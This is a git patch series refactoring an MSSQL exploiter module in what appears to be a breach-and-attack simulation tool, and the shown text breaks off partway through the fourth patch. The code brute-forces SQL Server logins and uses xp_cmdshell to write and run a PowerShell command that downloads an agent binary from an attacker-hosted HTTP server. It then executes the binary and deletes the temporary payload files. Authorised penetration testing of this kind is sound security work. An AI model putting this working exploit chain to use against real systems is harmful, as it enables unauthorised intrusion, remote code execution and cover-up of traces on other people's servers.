From 3ebd7ed02dc246c4744f64666c48b26557550976 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 26 Aug 2019 18:49:58 +0300 Subject: [PATCH 1/9] MSSQL refactored to dynamically split exploitation commands into smaller chunks --- monkey/infection_monkey/exploit/mssqlexec.py | 70 ++++++++++++++++---- 1 file changed, 56 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index e4eaf3151..a15801d12 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -27,6 +27,12 @@ class MSSQLExploiter(HostExploiter): SQL_DEFAULT_TCP_PORT = '1433' # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' + MAX_XP_CMDSHELL_SIZE = 128 + + EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \">%%(payload_file_path)s" + MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ + "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -60,11 +66,18 @@ class MSSQLExploiter(HostExploiter): commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()] MSSQLExploiter.execute_command(cursor, commands) - # Form download command in a file - commands = [ - "xp_cmdshell \"%s\"" % tmp_file_path, - "xp_cmdshell \">%s\"" % (http_path, tmp_file_path), - "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] + # Form download command + download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path} + # Form suffix + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} + + exploit_command = MSSQLCommand(download_command, + prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX, + suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE) + # Split command into chunks mssql xp_cmdshell can execute + commands = exploit_command.split_into_array_of_smaller_strings() + MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) self.add_executed_cmd(' '.join(commands)) @@ -106,17 +119,17 @@ class MSSQLExploiter(HostExploiter): def brute_force(self, host, port, users_passwords_pairs_list): """ - Starts the brute force connection attempts and if needed then init the payload process. - Main loop starts here. + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. - Args: - host (str): Host ip address - port (str): Tcp port that the host listens to - users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with - Return: - True or False depends if the whole bruteforce and attack process was completed successfully or not - """ + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ # Main loop # Iterates on users list for user, password in users_passwords_pairs_list: @@ -139,3 +152,32 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) return None + + +class MSSQLCommand(object): + + def __init__(self, command, max_length, prefix="", suffix=""): + self.command = command + self.max_length = max_length + self.prefix = prefix + self.suffix = suffix + + def get_full_command(self, command): + return "{}{}{}".format(self.prefix, command, self.suffix) + + def split_into_array_of_smaller_strings(self): + remaining_command_to_split = self.command + commands = [] + while self.command_is_too_long(self.get_full_command(remaining_command_to_split)): + command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split) + commands.append(self.get_full_command(command_of_max_len)) + if remaining_command_to_split: + commands.append(remaining_command_to_split) + return commands + + def split_at_max_length(self, command): + substring_size = self.max_length - len(self.prefix) - len(self.command) - 1 + return self.get_full_command(command[0:substring_size]), command[substring_size:] + + def command_is_too_long(self, command): + return len(command)+len(self.prefix)+len(self.suffix) > self.max_length From 8c930fae66d6b581eb52e8a538ebc13cffcf1e42 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 28 Aug 2019 14:34:45 +0000 Subject: [PATCH 2/9] Mssql fixed, payload parsing class added --- monkey/infection_monkey/exploit/mssqlexec.py | 141 ++++++++++-------- .../exploit/tools/payload_parsing.py | 63 ++++++++ 2 files changed, 141 insertions(+), 63 deletions(-) create mode 100644 monkey/infection_monkey/exploit/tools/payload_parsing.py diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a15801d12..4d6749ba5 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,5 @@ import logging import os -import textwrap from time import sleep import pymssql @@ -11,7 +10,8 @@ from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG -from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +import infection_monkey.utils LOG = logging.getLogger(__name__) @@ -25,24 +25,31 @@ class MSSQLExploiter(HostExploiter): # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = '1433' + # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' - MAX_XP_CMDSHELL_SIZE = 128 + TMP_DIR_PATH = "C:\\windows\\temp\\monkey_dir" - EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \">%%(payload_file_path)s" + MAX_XP_CMDSHELL_COMMAND_SIZE = 128 + + XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" + XP_CMDSHELL_COMMAND_END = "\"" + EXPLOIT_COMMAND_PREFIX = ">%(payload_file_path)s" + CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s" MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ - "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')" + "DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) + self.cursor = None def _exploit_host(self): # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - if not cursor: + if not self.cursor: LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) return False @@ -60,47 +67,76 @@ class MSSQLExploiter(HostExploiter): LOG.info("Started http server on %s", http_path) dst_path = get_monkey_dest_path(http_path) - tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME) + tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) - # Create monkey dir. - commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()] - MSSQLExploiter.execute_command(cursor, commands) + # Create dir for payload + dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) + if not self.try_to_run_mssql_command(dir_creation_command): + return False + + if not self.create_empty_payload_file(tmp_file_path): + return True # Form download command - download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path} - # Form suffix + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, + 'dst_path': dst_path} + # Form suffix for appending to temp payload file suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command, + suffix=suffix, + prefix=prefix) + if not self.try_to_run_mssql_command(monkey_download_command): + return True + self.run_file(tmp_file_path) - exploit_command = MSSQLCommand(download_command, - prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX, - suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX, - max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE) - # Split command into chunks mssql xp_cmdshell can execute - commands = exploit_command.split_into_array_of_smaller_strings() + self.add_executed_cmd(monkey_download_command.command) - MSSQLExploiter.execute_command(cursor, commands) - MSSQLExploiter.run_file(cursor, tmp_file_path) - self.add_executed_cmd(' '.join(commands)) - # Form monkey's command in a file + # Clear payload to pass in another command + if not self.create_empty_payload_file(tmp_file_path): + return True + + # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - monkey_args = ["xp_cmdshell \">%s\"" % (part, tmp_file_path) - for part in textwrap.wrap(monkey_args, 40)] - commands = ["xp_cmdshell \"%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)] - commands.extend(monkey_args) - MSSQLExploiter.execute_command(cursor, commands) - MSSQLExploiter.run_file(cursor, tmp_file_path) - self.add_executed_cmd(commands[-1]) + suffix = ">>%s" % tmp_file_path + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix) + if not self.try_to_run_mssql_command(monkey_launch_command): + return True + self.run_file(tmp_file_path) + + # Remove temporary dir we stored payload at + if not infection_monkey.utils.get_monkey_dir_path() == MSSQLExploiter.TMP_DIR_PATH.lower(): + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del /f %s" % tmp_file_path) + self.try_to_run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.try_to_run_mssql_command(tmp_dir_removal_command) + return True - @staticmethod - def run_file(cursor, file_path): - command = ["exec xp_cmdshell \"%s\"" % file_path] - return MSSQLExploiter.execute_command(cursor, command) + def run_file(self, file_path): + file_running_command = MSSQLLimitedSizePayload(file_path) + return self.try_to_run_mssql_command(file_running_command) + + def create_empty_payload_file(self, file_path): + # Create payload file + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path} + tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) + return self.try_to_run_mssql_command(tmp_file_creation_command) + + def try_to_run_mssql_command(self, mssql_command): + array_of_commands = mssql_command.split_into_array_of_smaller_payloads() + if not array_of_commands: + LOG.error("Couldn't execute MSSQL because payload was too long") + return False + return MSSQLExploiter.execute_commands(self.cursor, array_of_commands) @staticmethod - def execute_command(cursor, cmds): + def execute_commands(cursor, cmds): """ Executes commands on MSSQL server :param cursor: MSSQL connection @@ -154,30 +190,9 @@ class MSSQLExploiter(HostExploiter): return None -class MSSQLCommand(object): - - def __init__(self, command, max_length, prefix="", suffix=""): - self.command = command - self.max_length = max_length - self.prefix = prefix - self.suffix = suffix - - def get_full_command(self, command): - return "{}{}{}".format(self.prefix, command, self.suffix) - - def split_into_array_of_smaller_strings(self): - remaining_command_to_split = self.command - commands = [] - while self.command_is_too_long(self.get_full_command(remaining_command_to_split)): - command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split) - commands.append(self.get_full_command(command_of_max_len)) - if remaining_command_to_split: - commands.append(remaining_command_to_split) - return commands - - def split_at_max_length(self, command): - substring_size = self.max_length - len(self.prefix) - len(self.command) - 1 - return self.get_full_command(command[0:substring_size]), command[substring_size:] - - def command_is_too_long(self, command): - return len(command)+len(self.prefix)+len(self.suffix) > self.max_length +class MSSQLLimitedSizePayload(LimitedSizePayload): + def __init__(self, command, prefix="", suffix=""): + super(MSSQLLimitedSizePayload, self).__init__(command=command, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix, + suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END) diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py new file mode 100644 index 000000000..e7596f11f --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -0,0 +1,63 @@ +import logging +import textwrap + +LOG = logging.getLogger(__name__) + + +class Payload(object): + """ + Class for defining and parsing a payload (commands with prefixes/suffixes) + """ + + def __init__(self, command, prefix="", suffix=""): + """ + :param command: command + :param prefix: commands prefix + :param suffix: commands suffix + """ + self.command = command + self.prefix = prefix + self.suffix = suffix + + def get_full_payload(self, command=""): + if not command: + command = self.command + return "{}{}{}".format(self.prefix, command, self.suffix) + + +class LimitedSizePayload(Payload): + """ + Class for defining and parsing commands/payloads + """ + + def __init__(self, command, max_length, prefix="", suffix=""): + """ + :param command: command + :param max_length: max length that payload(prefix + command + suffix) can have + :param prefix: commands prefix + :param suffix: commands suffix + """ + super(LimitedSizePayload, self).__init__(command, prefix, suffix) + self.max_length = max_length + + def is_suffix_and_prefix_too_long(self): + return self.payload_is_too_long(self.suffix + self.prefix) + + def split_into_array_of_smaller_payloads(self): + if self.is_suffix_and_prefix_too_long(): + LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already " + "exceeds required length of command.") + return False + elif self.command == "": + return [self.prefix+self.suffix] + + commands = [self.get_full_payload(part) + for part + in textwrap.wrap(self.command, self.get_max_sub_payload_length())] + return commands + + def get_max_sub_payload_length(self): + return self.max_length - len(self.prefix) - len(self.suffix) - 1 + + def payload_is_too_long(self, command): + return len(command) > self.max_length From b733cf3389481cde1d16de7b20a3f81df0725144 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 2 Sep 2019 08:37:52 +0000 Subject: [PATCH 3/9] Changed tmp dir path on mssql exploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 12 +++++------- .../exploit/tools/payload_parsing.py | 13 +++++++++---- 2 files changed, 14 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 4d6749ba5..c26954090 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -11,7 +11,6 @@ from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_tar build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload -import infection_monkey.utils LOG = logging.getLogger(__name__) @@ -28,7 +27,7 @@ class MSSQLExploiter(HostExploiter): # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' - TMP_DIR_PATH = "C:\\windows\\temp\\monkey_dir" + TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" MAX_XP_CMDSHELL_COMMAND_SIZE = 128 @@ -110,11 +109,10 @@ class MSSQLExploiter(HostExploiter): self.run_file(tmp_file_path) # Remove temporary dir we stored payload at - if not infection_monkey.utils.get_monkey_dir_path() == MSSQLExploiter.TMP_DIR_PATH.lower(): - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del /f %s" % tmp_file_path) - self.try_to_run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) - self.try_to_run_mssql_command(tmp_dir_removal_command) + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path) + self.try_to_run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.try_to_run_mssql_command(tmp_dir_removal_command) return True diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index e7596f11f..a02071333 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -19,7 +19,12 @@ class Payload(object): self.prefix = prefix self.suffix = suffix - def get_full_payload(self, command=""): + def get_payload(self, command=""): + """ + Returns prefixed and suffixed command (full payload) + :param command: Command to suffix/prefix. If no command is passed than objects' property is used + :return: prefixed and suffixed command (full payload) + """ if not command: command = self.command return "{}{}{}".format(self.prefix, command, self.suffix) @@ -50,10 +55,10 @@ class LimitedSizePayload(Payload): return False elif self.command == "": return [self.prefix+self.suffix] - - commands = [self.get_full_payload(part) + wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) + commands = [self.get_payload(part) for part - in textwrap.wrap(self.command, self.get_max_sub_payload_length())] + in wrapper.wrap(self.command)] return commands def get_max_sub_payload_length(self): From 63d07f9c4bfae894a3dc1516ffb6fd59b4c8e4bd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 15:51:13 +0300 Subject: [PATCH 4/9] Added unit tests, improved mssql readability --- monkey/infection_monkey/exploit/mssqlexec.py | 180 +++++++++--------- .../exploit/tools/exceptions.py | 5 + .../infection_monkey/exploit/tools/helpers.py | 7 + .../exploit/tools/http_tools.py | 32 +++- .../exploit/tools/payload_parsing.py | 17 +- .../exploit/tools/payload_parsing_test.py | 32 ++++ monkey/infection_monkey/monkey.py | 7 +- 7 files changed, 175 insertions(+), 105 deletions(-) create mode 100644 monkey/infection_monkey/exploit/tools/exceptions.py create mode 100644 monkey/infection_monkey/exploit/tools/payload_parsing_test.py diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c26954090..fc27cc600 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,16 +1,18 @@ import logging import os +import sys from time import sleep import pymssql from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ +from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \ build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError LOG = logging.getLogger(__name__) @@ -42,114 +44,110 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None + self.monkey_binary_on_host_path = None + self.monkey_server = None + self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) def _exploit_host(self): # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - if not self.cursor: - LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) - return False - - # Get monkey exe for host and it's path - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - dst_path = get_monkey_dest_path(http_path) - tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) - # Create dir for payload + self.create_temp_dir() + + try: + self.create_empty_payload_file() + + self.start_monkey_server() + self.upload_monkey() + self.stop_monkey_server() + + # Clear payload to pass in another command + self.create_empty_payload_file() + + self.run_monkey() + + self.remove_temp_dir() + except Exception as e: + raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2] + + return True + + def run_payload_file(self): + file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) + return self.run_mssql_command(file_running_command) + + def create_temp_dir(self): dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) - if not self.try_to_run_mssql_command(dir_creation_command): - return False + self.run_mssql_command(dir_creation_command) - if not self.create_empty_payload_file(tmp_file_path): - return True + def create_empty_payload_file(self): + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) + self.run_mssql_command(tmp_file_creation_command) - # Form download command - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, - 'dst_path': dst_path} - # Form suffix for appending to temp payload file - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} - prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command, - suffix=suffix, - prefix=prefix) - if not self.try_to_run_mssql_command(monkey_download_command): - return True - self.run_file(tmp_file_path) + def run_mssql_command(self, mssql_command): + array_of_commands = mssql_command.split_into_array_of_smaller_payloads() + if not array_of_commands: + raise Exception("Couldn't execute MSSQL exploiter because payload was too long") + self.run_mssql_commands(array_of_commands) + def run_monkey(self): + monkey_launch_command = self.get_monkey_launch_command() + self.run_mssql_command(monkey_launch_command) + self.run_payload_file() + + def run_mssql_commands(self, cmds): + for cmd in cmds: + self.cursor.execute(cmd) + sleep(MSSQLExploiter.QUERY_BUFFER) + + def upload_monkey(self): + monkey_download_command = self.write_download_command_to_payload() + self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) - # Clear payload to pass in another command - if not self.create_empty_payload_file(tmp_file_path): - return True + def remove_temp_dir(self): + # Remove temporary dir we stored payload at + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path) + self.run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.run_mssql_command(tmp_dir_removal_command) + def start_monkey_server(self): + self.monkey_server = MonkeyHTTPServer(self.host) + self.monkey_server.start() + + def stop_monkey_server(self): + self.monkey_server.stop() + + def write_download_command_to_payload(self): + monkey_download_command = self.get_monkey_download_command() + self.run_mssql_command(monkey_download_command) + return monkey_download_command + + def get_monkey_launch_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - suffix = ">>%s" % tmp_file_path + suffix = ">>%s" % self.payload_file_path prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), - prefix=prefix, - suffix=suffix) - if not self.try_to_run_mssql_command(monkey_launch_command): - return True - self.run_file(tmp_file_path) + return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix) - # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path) - self.try_to_run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) - self.try_to_run_mssql_command(tmp_dir_removal_command) - - return True - - def run_file(self, file_path): - file_running_command = MSSQLLimitedSizePayload(file_path) - return self.try_to_run_mssql_command(file_running_command) - - def create_empty_payload_file(self, file_path): - # Create payload file - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path} - tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) - return self.try_to_run_mssql_command(tmp_file_creation_command) - - def try_to_run_mssql_command(self, mssql_command): - array_of_commands = mssql_command.split_into_array_of_smaller_payloads() - if not array_of_commands: - LOG.error("Couldn't execute MSSQL because payload was too long") - return False - return MSSQLExploiter.execute_commands(self.cursor, array_of_commands) - - @staticmethod - def execute_commands(cursor, cmds): - """ - Executes commands on MSSQL server - :param cursor: MSSQL connection - :param cmds: list of commands in MSSQL syntax. - :return: True if successfully executed, false otherwise. - """ - try: - # Running the cmd on remote host - for cmd in cmds: - cursor.execute(cmd) - sleep(MSSQLExploiter.QUERY_BUFFER) - except Exception as e: - LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e) - return False - return True + def get_monkey_download_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path, + 'dst_path': dst_path} + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + return MSSQLLimitedSizePayload(command=monkey_download_command, + suffix=suffix, + prefix=prefix) def brute_force(self, host, port, users_passwords_pairs_list): """ @@ -185,7 +183,7 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - return None + raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) class MSSQLLimitedSizePayload(LimitedSizePayload): diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py new file mode 100644 index 000000000..eabe8d9d7 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/exceptions.py @@ -0,0 +1,5 @@ + + +class ExploitingVulnerableMachineError(Exception): + """ Raise when exploiter failed, but machine is vulnerable""" + pass diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index bc74128e2..91a25c270 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -47,6 +47,13 @@ def get_interface_to_target(dst): return ret[1] +def try_get_target_monkey(host): + src_path = get_target_monkey(host) + if not src_path: + raise Exception("Can't find suitable monkey executable for host %r", host) + return src_path + + def get_target_monkey(host): from infection_monkey.control import ControlClient import platform diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index f23ba8276..0de47b155 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -7,8 +7,8 @@ from threading import Lock from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.transport import HTTPServer, LockedHTTPServer -from infection_monkey.exploit.tools.helpers import get_interface_to_target - +from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target +from infection_monkey.model import DOWNLOAD_TIMEOUT __author__ = 'itamar' @@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__) class HTTPTools(object): + @staticmethod def create_transfer(host, src_path, local_ip=None, local_port=None): if not local_port: @@ -33,6 +34,14 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + @staticmethod + def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port) + if not http_path: + raise Exception("Http transfer creation failed.") + LOG.info("Started http server on %s", http_path) + return http_path, http_thread + @staticmethod def create_locked_transfer(host, src_path, local_ip=None, local_port=None): """ @@ -60,3 +69,22 @@ class HTTPTools(object): httpd.start() lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + +class MonkeyHTTPServer(HTTPTools): + def __init__(self, host): + super(MonkeyHTTPServer, self).__init__() + self.http_path = None + self.http_thread = None + self.host = host + + def start(self): + # Get monkey exe for host and it's path + src_path = try_get_target_monkey(self.host) + self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path) + + def stop(self): + if not self.http_path or not self.http_thread: + raise Exception("Can't stop http server that wasn't started!") + self.http_thread.join(DOWNLOAD_TIMEOUT) + self.http_thread.stop() diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index a02071333..31632b045 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -10,18 +10,13 @@ class Payload(object): """ def __init__(self, command, prefix="", suffix=""): - """ - :param command: command - :param prefix: commands prefix - :param suffix: commands suffix - """ self.command = command self.prefix = prefix self.suffix = suffix def get_payload(self, command=""): """ - Returns prefixed and suffixed command (full payload) + Returns prefixed and suffixed command (payload) :param command: Command to suffix/prefix. If no command is passed than objects' property is used :return: prefixed and suffixed command (full payload) """ @@ -50,9 +45,9 @@ class LimitedSizePayload(Payload): def split_into_array_of_smaller_payloads(self): if self.is_suffix_and_prefix_too_long(): - LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already " - "exceeds required length of command.") - return False + raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already " + "exceeds required length of command.") + elif self.command == "": return [self.prefix+self.suffix] wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) @@ -62,7 +57,7 @@ class LimitedSizePayload(Payload): return commands def get_max_sub_payload_length(self): - return self.max_length - len(self.prefix) - len(self.suffix) - 1 + return self.max_length - len(self.prefix) - len(self.suffix) def payload_is_too_long(self, command): - return len(command) > self.max_length + return len(command) >= self.max_length diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py new file mode 100644 index 